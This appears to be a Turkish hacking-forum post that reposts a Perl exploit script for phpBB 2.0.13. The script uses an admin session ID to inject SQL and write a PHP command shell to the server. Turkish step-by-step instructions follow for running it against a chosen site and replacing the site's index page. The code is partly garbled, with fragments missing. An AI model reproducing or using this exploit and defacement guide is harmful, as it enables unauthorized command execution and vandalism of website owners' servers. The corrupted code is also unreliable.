bu exploit i kullanabilmek icin admin olmak gerekiyo diye bi uyariyla karsilastim?

#!/usr/bin/perl r57phpbb_admin2exec. pl phpBB admin_styles. php commands execution exploit tested on phpBB 2.0.13 by 1dt. w0lf RST/GHC http://rst.void. ru http://ghc.ru screen r57phpbb_admin2exec. pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -c get_prefix Try to get prefix... PREFIX : phpbb_ r57phpbb_admin2exec. pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -P phpbb_ Method 2 - use "create\export style" Try to run sql query in database... Creating new style... Creating file... File successfully created! Now you can try execute command! Delete style from database... r57phpbb_admin2exec. pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -c "uname -sr; id" FreeBSD 5.3-RELEASE uid=80 gid=80 groups=80 20.04.2005use LWP::UserAgent;use Getopt::Std;getopts ;$path = $opt_p;$sid = $opt_s;$prefix = $opt_P || 'phpbb_'; $cmd = $opt_c || 'create'; $method = $opt_m || 2; LITTLE CONFIG# forum on win or unix? commands split by; or &&$cmdspl = ';'; # unix# filename for create. default is 'theme_info. cfg' for include in admin_styles. php?mode=addnew# DONT CHANGE if you don't know that you do!!!$filename = '/theme_info. cfg';# folder for create file, we need folder writable for apache user, by default we use /tmp$dir = '../../../../../../../../../../../../../../../../../../../../../tmp'; END CONFIGif $xpl = LWP::UserAgent->new or die;if {&show_header;print " \n";print " Clearing database... ";$sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="" AND template_name="";'; $suc = &phpbb_sql_query ;if if($suc 1) print " \n";exit ;}if($cmd eq 'create' && $method 1){&show_header;print " \n";print " Method 1 - use \"INTO OUTFILE\"\n";print " Create file for including.\n";print " Try to run sql query in database...";$sql = 'SELECT \'<? passthru ; ?>\' FROM '.$prefix.'users LIMIT 1 INTO OUTFILE \''.$dir.$filename.'\';';$suc = &phpbb_sql_query ;if if($suc 2) if($suc 1) print " \n";exit ;}if {&show_header;print " \n";print " Try to get prefix...";$res = $xpl->get("$ admin_db_utilities. php?perform=backup&additional_tables=&backup_type=structure&drop=0&backupstart=1&gzipcompress=0&startdownload=1&sid=$sid");if($res->is_success && $res->content = / /) else print " \n";exit(0);}if($cmd eq 'create' && $method 2){&show_header;print " \n";print " Method 2 - use \"create\\export style\"\n";print " Try to run sql query in database...";$sql = 'ALTER TABLE `'.$prefix.'themes` CHANGE `template_name` `template_name` VARCHAR( 255 ) NOT NULL;';$suc = &phpbb_sql_query ;if if($suc 1) print " Creating new style...";$res = $xpl->post( "$ admin_styles. php?sid=$sid", ,);if else $res = $xpl->post( "$ admin_styles. php?sid=$sid", ,);if else print " Delete style from database...";$sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="0wn";';&phpbb_sql_query ;print " \n";print " \n";exit(0);}$jagajaga = 'echo _GHC/RST_ ';$jagajaga.= $cmdspl;$jagajaga.= $cmd;$jagajaga.= $cmdspl;$jagajaga.= ' echo _GHC/RST_';$res = $xpl->post ;&show_header;if($res->content = /main\ : Failed opening/) @rez = split ;print " \n";print @rez ;print " \n";sub usage sub show_header sub phpbb_sql_query {$res = $xpl->post("$_ ", Content_type => 'form-data', Content => [ perform => 'restore', restore_start => 'Start Restore', backup_file => [ undef, '0wneeeeedddd', Content_type => 'text/plain', Content => "$_ ", ], ]);if {if if }return 0;} expLoit www.milw0rm.com dan aLınmıstır perl "kaydettigin dosya adı ben 13. pl diye kayıt ettim" enter daha sonra sana exploiti naısl kullanacagın hakkında yanı sıralamasını o gosterir saten eger exploit failed gibi bir uyarı alırsan exploit calısmıyordur duzenlemen gerekecek. eger boyle bir uyarı almassan su sekilde devam edebilirsin. perl ". pl 13. pl "sitenin acık bulunan yeri" bu komutla dosya izinlerini gorebilirsindaha sonra perl 13. pl "sitenin acık bulunan yeri" "senın basacagın indexin bulundugu yol bu local olamaz" enter eger exploit sorunsuz calısıryorsa hack icin sectigin siteyi ve bunları uyguladıgın siteyi refresh le sitenin son haline bak :) DiKKaT KPeK VaR..!!!